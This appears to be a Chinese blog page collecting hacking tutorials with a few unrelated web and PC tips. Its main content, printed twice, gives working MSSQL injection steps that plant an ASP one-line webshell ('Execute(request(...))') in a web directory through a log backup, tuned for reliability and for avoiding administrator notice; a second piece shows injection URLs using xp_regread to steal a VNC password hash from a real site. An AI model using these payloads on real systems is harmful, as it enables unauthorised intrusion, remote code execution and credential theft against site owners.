Chinadu's Blog

来源： swan
dbowner 通过注射得到一个shell应该不是什么难事情了，比较麻烦的是就算利用增量备份，仍然有很多不确定的因素，如果之前别人有过什么错误的写入信息，可能备份出来得到的还是一些不能用的500错误，如何能够提高成功率及重用性呢？如果单从调整增量备份的方式来看，尽管能够达到一些效果，但是方法比较复杂而且效果不明显。加上关于重用性的考虑，例如多次备份的成功率，backupdatabase的方法并不太适用。这里将要讲述的是另外一个备份的方法，导出日志文件到web目录来获得shell。
获得webshell首先要知道物理路径。关于物理路径的暴露有很多方法，注入也可以得到，就不再多说。值得注意的是，如果数据库和web分离，这样肯定得不到webshell，备份出来的东西可以覆盖任何文件，一些关于开始菜单的想法还是有效的，只要注意扩展名就好。扯远了，反正如果数据库和web在一块的，你就有机会，反之还是想其他的办法吧。
然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情，dbowner足矣，public则不行。当前打开的库名用一个db_name()就可以得到，同样很简单。
默认的情况是，一般选择的数据库故障还原类型都是简单，这时候不能够对日志文件进行备份。然而我们都是dbowner了，还有什么不能做的呢，只要修改一下属性就可以。由于不能去企业管理器中修改，只有用一段SQL语句，很简单的，这样就可以：

alterdatabaseXXXXsetRECOVERYFULL


其中XXXX是你得到的数据库的名字，执行过后就可以备份日志了。这种修改是破坏性的，因为你不知道以前的故障还原模式是什么，细心的管理员看到异样，可能就要开始起疑心。如果之前你能得到数据库的状态，最好还是在备份完以后把这个数据库的属性改回来。

剩下的事情就是怎样让数据库用最原始的方式记录下你的数据了。这一点和backupdatabase中设定表名为image的问题相对应，如果你只是建立一个<%%>之类的表，日志里面的记录还是以松散的格式记录的，也就是<%%>，没有任何效果。通过实际的测试，发现还是可以通过与backupdatabase类似的方式记录进去，如下：

createtablecmd(aimage)
insertintocmd(a)values('<%Execute(request("Swan"))%>')
backuplogXXXXtodisk='c:\xxx\2.asp'


这样你已经得到一个webshell了。

到这里就完了么？没有，呵呵，我们继续。
到这里有两个分支方向，第一个，让注入的时候不出现单引号，太简单了，我都懒得写；第二个，减小这个webshell的长度以及提高成功率。下面的方法就是讨论第二个分支问题的，同样适用于backupdatabase的减小。
首先是初始化这个日志。

backuplogXXXXtodisk='c:\caonima'withinit


这样有点类似于增量备份的第一步，不过有点不同的是，你做了这个以后，你备份出来的可用的shell是固定的。这一点比较重要，因为有了这一步，不管管理员在数据库里面做了什么扰乱你backdatabase的手脚，或者你之前有多少混蛋（你肯定会这么想的）弄了些你不喜欢的东西，都没有关系，甚至你做过以后，别人在后面再按照你的方法来一次，还是会成功，这对于偶尔出现的反复，比如对方机器重装但是数据库和代码没变，有不小的帮助。
然后是调整一下backup中各个语句的顺序。通过第一点，大概的步骤已经确定下来了，那就是：

alterdatabaseXXXXsetRECOVERYFULL
backuplogXXXXtodisk='c:\Sammy'withinit
createtablecmd(aimage)
insertintocmd(a)values('<%Execute(request("Swan"))%>')
backuplogXXXXtodisk='c:\xxx\2.asp'


这样不好，感觉上多了一条没用的东西。

createtablecmd(aimage)


确实有点讨厌，不过这句是必要的，只好调整一下位置，弄到其他地方去。调换一下顺序似乎还可以小一点，对于backupdatabase中的增量情况同样是可以的，backupdatabase甚至可以仅仅在update后马上备份，不过由于涉及到了数据的存储格式，情况很复杂，这里不讨论。调整后的是：

alterdatabaseXXXXsetRECOVERYFULL
createtablecmd(aimage)
backuplogXXXXtodisk='c:\Sammy'withinit
insertintocmd(a)values('<%Execute(request("Swan"))%>')
backuplogXXXXtodisk='c:\xxx\2.asp'


成功的话，备份出来的shell（上面的2.asp）有78.5k，文件长度固定的是80,384字节。很挑剔的朋友也可以接受了吧，当然用这个来生成一个干净的木马也可以——这本来就是顶端cs木马的s端，很通用的。
进一步的，虽然不能再次缩小这个木马了，但是可以让垃圾文件少一点，那就是加上response.end，这样后面的垃圾数据就不再显示。所有的垃圾数据，你可以统计一下，大约只有6~12k，也就是说，<%Execute(request("Swan"))%>这个数据大约在2.asp文件偏移6xxx到12xxx附近，最好的情况似乎在6k左右，而且这个概率分布比较靠前，很少见到10k以上。这还是比较令人满意的。



目前用backuplog来测试的成功率是100%，就这样分析似乎不应该有失败的情况。无论如何，这个比backupdatabase好太多了。
[转载]backup log to get a webshell
作者：admin [bAck iN BLack]
来源：http://zhouzhen.eviloctal.org/Look.asp?LogID=822
dbowner通过注射得到一个shell应该不是什么难事情了，比较麻烦的是就算利用增量备份，仍然有很多不确定的因素，如果之前别人有过什么错误的写入信息，可能备份出来得到的还是一些不能用的500错误，如何能够提高成功率及重用性呢？如果单从调整增量备份的方式来看，尽管能够达到一些效果，但是方法比较复杂而且效果不明显。加上关于重用性的考虑，例如多次备份的成功率，backup database的方法并不太适用。这里将要讲述的是另外一个备份的方法，导出日志文件到web目录来获得shell。
获得webshell首先要知道物理路径。关于物理路径的暴露有很多方法，注入也可以得到，就不再多说。值得注意的是，如果数据库和web分离，这样肯定得不到webshell，备份出来的东西可以覆盖任何文件，一些关于开始菜单的想法还是有效的，只要注意扩展名就好。扯远了，反正如果数据库和web在一块的，你就有机会，反之还是想其他的办法吧。
然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情，dbowner足矣，public则不行。当前打开的库名用一个db_name()就可以得到，同样很简单。
默认的情况是，一般选择的数据库故障还原类型都是简单，这时候不能够对日志文件进行备份。然而我们都是dbowner了，还有什么不能做的呢，只要修改一下属性就可以。由于不能去企业管理器中修改，只有用一段SQL语句，很简单的，这样就可以：

alter database XXXX set RECOVERY FULL

其中XXXX是你得到的数据库的名字，执行过后就可以备份日志了。这种修改是破坏性的，因为你不知道以前的故障还原模式是什么，细心的管理员看到异样，可能就要开始起疑心。如果之前你能得到数据库的状态，最好还是在备份完以后把这个数据库的属性改回来。

剩下的事情就是怎样让数据库用最原始的方式记录下你的数据了。这一点和backup database中设定表名为im
age的问题相对应，如果你只是建立一个<%%>之类的表，日志里面的记录还是以松散的格式记录的，也就是< % % >，没有任何效果。通过实际的测试，发现还是可以通过与backup database类似的方式记录进去，如下：

create table cmd (a image)
insert into cmd (a) values ('<%Execute(request("Swan"))%>')
backup log XXXX to disk = 'c:\xxx\2.asp'


这样你已经得到一个webshell了。

到这里就完了么？没有，呵呵，我们继续。
到这里有两个分支方向，第一个，让注入的时候不出现单引号，太简单了，我都懒得写；第二个，减小这个webshell的长度以及提高成功率。下面的方法就是讨论第二个分支问题的，同样适用于backup database的减小。
首先是初始化这个日志。

backup log XXXX to disk = 'c:\caonima' with init


这样有点类似于增量备份的第一步，不过有点不同的是，你做了这个以后，你备份出来的可用的shell是固定的。这一点比较重要，因为有了这一步，不管管理员在数据库里面做了什么扰乱你back database的手脚，或者你之前有多少混蛋（你肯定会这么想的）弄了些你不喜欢的东西，都没有关系，甚至你做过以后，别人在后面再按照你的方法来一次，还是会成功，这对于偶尔出现的反复，比如对方机器重装但是数据库和代码没变，有不小的帮助。
然后是调整一下backup中各个语句的顺序。通过第一点，大概的步骤已经确定下来了，那就是：

alter database XXXX set RECOVERY FULL
backup log XXXX to disk = 'c:\Sammy' with init
create table cmd (a image)
insert into cmd (a) values ('<%Execute(request("Swan"))%>')
backup log XXXX to disk = 'c:\xxx\2.asp'


这样不好，感觉上多了一条没用的东西。

create table cmd (a image)


确实有点讨厌，不过这句是必要的，只好调整一下位置，弄到其他地方去。调换一下顺序似乎还可以小一点，对于backup database中的增量情况同样是可以的，backup database甚至可以仅仅在update后马上备份，不过由于涉及到了数据的存储格式，情况很复杂，这里不讨论。调整后的是：


成功的话，备份出来的shell（上面的2.asp）有78.5k，文件长度固定的是80,384字节。很挑剔的朋友也可以接受了吧，当然用这个来生成一个干净的木马也可以——这本来就是顶端cs木马的s端，很通用的。
进一步的，虽然不能再次缩小这个木马了，但是可以让垃圾文件少一点，那就是加上response.end，这样后面的垃圾数据就不再显示。所有的垃圾数据，你可以统计一下，大约只有6~12k，也就是说，<%Execute(request("Swan"))%>这个数据大约在2.asp文件偏移6xxx到12xxx附近，最好的情况似乎在6k左右，而且这个概率分布比较靠前，很少见到10k以上。这还是比较令人满意的。



目前用backup log来测试的成功率是100%，就这样分析似乎不应该有失败的情况。无论如何，这个比backup database好太多了。

觉得系统不对劲。仔细查找原来是中了个免杀的鸽子。
服务名：DCOM Server Proess Laucher (Ining Service)
对应文件：C:\WINDOWS\Application Manament.exe


展开：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
查找DCOM Server Proess Laucher (Ining Service) 目录，查到的清删除整个目录
重启计算机
显示所有文件并且显示隐藏的系统文件
删除如下文件C:\WINDOWS\Application Manament.exe

搞定

文章作者:lcx

相信大家对ASP+MSSQL注入都已经很熟悉了，连一个对SQL语法丝毫不懂的人也可以用NBSI来轻松入侵大量网站。但就算是一个SQL INJECTION高手，如果针对在MSSQL中只有db_owner角色,破不出猜不到网站后台的情况下，好像也无技可施；除了用备份得到shell的这个思路，我在网上实在没有找出更好的入侵办法。不过，备份得到的shell只是理论化的东东，如果一个webshell有20mb的话，你还能用它吗？前不久，我就碰到了这样的一个台湾网站，管理员的密码倒是用NBSi跑了出来，可是用户名因为是繁体的原因在NBSi中成了一堆乱码。我也找到了后台，可只有干瞪眼的份。怎么办？我又扫了它的所有端口，发现开了5900，估计是管理员用了VNC对服务器进行了远程控制。这时，我就有一个思路，能不能把VNC在注册表的加密密码读出来再来破解呢？看我表演吧！
TELNET服务器的5900端口，得到讯息如图1所示,证实服务器的确用的是VNC。相信大家都会用读xp_regread来读注册表了，依次提交如下语句：

http://www.something.com/scri ... eate table [dbo].[cyfd] ([gyfd][char](255));


这样我们就成功地建了一个名为cyfd的表，并且添加了类型是char，长度为255的字段名gyfd。然后向表中加数据:

http://www.something.com/script.asp?id=2;DECLARE @result  ... aster.dbo.xp_regread HKEY_CURRENT_USER,Software\ORL\WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);--


从注册表中读出VNC在注册表的加密密码的值，再把值插入到刚建的表中。然后暴出VNC在注册表的加密密码：

可是结果大失我所望，gyfd的值是空的。如果这样容易的话，不会有这篇文章出现了。这是什么原因呢？我的语法不正确？翻来覆去的检查我的语句也没有发现错误呀。难道繁体的vnc在注册表里的位置不一样？后来我又开始在本机装了vnc又在分析查循器里做测试，得到的结果却是个数字5。这时czy上线了，询问了一下，他劝我把gyfd的这个字段改成二进制数据类型 binary来试一下。于是我又在本机测试了一下，依次提交如下语句：

http://127.0.0.1/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][binary](20));

然后我再用nbsi跑出cyfd表里gyfd这个字段的值。结果到是出来了，得到了vnc的加密密码值是0x0E3515AC00000000000000000000000000000000。可这儿还不对，我在本机装的vnc在注册表里的密码值是hex:0e,35,15,ac,00,62,d3,08这个呀。原来binary(n)的数据存储长度是固定的，当输入的二进制长度小于n时，余下长度填0补充。我在注入语句中写入的binary(20)是足够写入vnc加密密码的长度时，为什么还有那么多0来填充呢？这是因为正好我的vnc密码是0e3515ac0062d308，在碰到了00的情况下，xp_regread以为已经读完了它的值呢，把00当成了结束符，所以只读到了0x0E3515AC，我晕！
翻了一下书，终于让我找到了一个特殊的数据类型uniqueidentifier，是用来存储一个16字节长的二进制数据类型。把注入语句改造一下：

http://127.0.0.1/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][uniqueidentifier]);

然后再用nbsi跑一下，跑出来了，不过得到的结果是AC15350E-6200-08D3-0000-000000000000。
AC15350E-6200-08D3-0000-000000000000和我在注册表里的正确的vnc密码的值0e3515ac0062d308相比，能看出来有什么不同吗？只不过顺序是颠倒的，相信大家都会小学的算术，这个不用我教了。试一下用cain破出vnc的密码，看看行不行

看样子在本机做的测试一切成功。这方法用到台湾上的站点试试，哎，依然没有跑出vnc的密码，也许繁体vnc在注册表的位置不同吧。不过，我研究了一上午，有了一点收获，就放过你吧。

发现好多asp的系统在调用文章的时候如果不生成静态,输出的都是类似
http://www.xxx.com/show.asp?id=26 这种格式的.

如果可以换成 http://www.xxx.com/show/?26 这种格式,感觉清减了不少,当然对于支持伪静态的空间
还可以设置成 http://www.xxx.com/show/26 据说着杨可以增加搜索引擎收录的几率.

代码如下:
首先建立一个show目录,建立一个index.asp文件,就是系统默认的那个文件
然后把以前如果是 show.asp?id=26 的时候,show这个文件首先需要得到id一般用
id=request.QueryString("id")
之类的获得id.这里把获得id换成,获得?后面的数字,用以下代码.
id = LCase(Trim(Request.ServerVariables("QUERY_STRING")))

其他的链接数据库方式不变

Set rs = Server.CreateObject("ADODB.Recordset")
rs.Open "Select * From blog where id="&id, conn,3,3

大家可以试试,呵呵.

给个演示：

http://www.aubaby.cn/shop/?26

来自：showlife8‘s blog

解决方法:

首先找一张带PE系统的光盘,然后开机按DEL键盘,进入COMS,选择PE进去,进去之后,会和正常电脑一样
不用管他

选择开始菜单,有个磁盘修复,会弹出一个对话筐,你电脑有分几个区,就有几个盘,选中一个右键盘,修复

引导分区,点自动就可以了,记得每个盘都要修复,修复完了保存,确定,重新启动电脑就可以了.

同一空间绑定多域名的ASP、PHP代码

一个空间，绑定多个域名
怎么实现根据访问的域名不同而跳转到不同的网站那！
看看下面的代码：

ASP代码

第一个

<%if Request.ServerVariables("SERVER_NAME")="www.clang.cn" then
response.redirect "clang"
else
response.redirect "i.htm"
end if%>


第二个

<%
select case request.servervariables("http_host")
case "www.clang.cn" '1
response.redirect ("v3.htm")
case "clang.cn" '2
response.redirect ("i.htm")
case "www.clang.cn" '3
response.redirect ("clang.htm")
...... 继续添加 ......
end select
%>


第三个

<%if instr(Request.ServerVariables
("SERVER_NAME"),"aaa.com")>0 then
response.redirect "index.asp"
else if instr(Request.ServerVariables
("SERVER_NAME"),"bbb.com")>0 then
response.redirect "x/index.asp"
else if instr(Request.ServerVariables
("SERVER_NAME"),"ccc.com")>0 thenr
esponse.redirect "index3.asp"
end if
end if
end if%>


第四个（推荐，注意if...else if... end if循环对应）

<%
if Request.ServerVariables("SERVER_NAME")="clang.cn" then
response.redirect "/index.asp"
else if Request.ServerVariables("SERVER_NAME")="www.clang.cn" then
response.redirect "/index.asp"
else if Request.ServerVariables("SERVER_NAME")="clang.04.vip5.cn" then
response.redirect "/index.asp"
else if Request.ServerVariables("SERVER_NAME")="tcr.clang.cn" then
response.redirect "/tblog"
else
response.redirect "/index.asp"
end if
end if
end if
end if
%>


PHP代码

<?php
if($HTTP_HOST=="www.clang.cn")
{
Header("Location: http://www.clang.cn/blog");
}
elseif($HTTP_HOST=="clang.cn")
{
Header("Location: http://clang.cn/blog");
}
else
{
include_once('/blog');
}
?>